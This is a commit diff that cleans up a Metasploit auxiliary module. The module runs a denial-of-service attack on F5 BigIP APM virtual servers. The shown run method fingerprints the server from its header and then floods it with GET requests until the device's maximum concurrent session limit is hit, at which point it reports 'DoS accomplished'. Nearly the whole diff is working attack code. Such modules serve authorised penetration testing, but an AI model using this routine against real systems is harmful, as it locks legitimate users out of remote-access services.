Skip to content

Commit 7e62ba8

Browse files
committed
Do code cleanup
1 parent 60c2c7a commit 7e62ba8

File tree

1 file changed

+21
-27
lines changed

1 file changed

+21
-27
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 21 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -50,52 +50,46 @@ def initialize(info = {})
5050
end
5151

5252
def run
53-
# Main function
54-
rlimit = datastore['RLIMIT']
53+
limit = datastore['RLIMIT']
5554
force_attack = datastore['FORCE']
5655

57-
# Send an initial test request
5856
res = send_request_cgi('method' => 'GET', 'uri' => '/')
59-
if res
60-
server = res.headers['Server']
61-
# Simple test based on HTTP Server header to detect BigIP virtual server
62-
unless force_attack
63-
if server !~ /BIG\-IP/ && server !~ /BigIP/
64-
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
65-
return
66-
end
67-
end
68-
print_good("#{peer} - Starting DoS attack")
69-
else
70-
print_error("#{peer} - Unable to connect to BigIP. Please check options")
57+
58+
unless res
59+
print_error("#{peer} - No answer from the BigIP server")
7160
return
7261
end
7362

63+
# Simple test based on HTTP Server header to detect BigIP virtual server
64+
server = res.headers['Server']
65+
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
66+
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
67+
return
68+
end
69+
70+
print_status("#{peer} - Starting DoS attack")
71+
7472
# Start attack
75-
(1..rlimit).each do
73+
limit.times do
7674
res = send_request_cgi('method' => 'GET', 'uri' => '/')
77-
if res && res.headers['Location'] == '/my.logout.php3?errorcode=14'
78-
print_good("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
79-
print_good("#{peer} - DoS attack is successful")
75+
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
76+
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
8077
return
8178
end
8279
end
8380

84-
# Check if attack is unsuccessfull
81+
# Check if attack has failed
8582
res = send_request_cgi('method' => 'GET', 'uri' => uri)
86-
if res.headers['Location'] == '/my.policy'
87-
print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
83+
if res.headers['Location'] =~ /\/my.policy/
84+
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
8885
else
8986
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
9087
end
9188

9289
rescue ::Rex::ConnectionRefused
93-
print_error("#{peer} - Unable to connect to BigIP")
90+
print_error("#{peer} - Unable to connect to BigIP. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
9491
rescue ::Rex::ConnectionTimeout
95-
print_error("#{peer} - Unable to connect to BigIP. Please check options")
96-
rescue ::Errno::ECONNRESET
97-
print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached")
98-
print_status("#{peer} - DoS attack is unsuccessful")
92+
print_error("#{peer} - Unable to connect to BigIP.")
9993
rescue ::OpenSSL::SSL::SSLError
10094
print_error("#{peer} - SSL/TLS connection error")
10195
end

0 commit comments

Comments
 (0)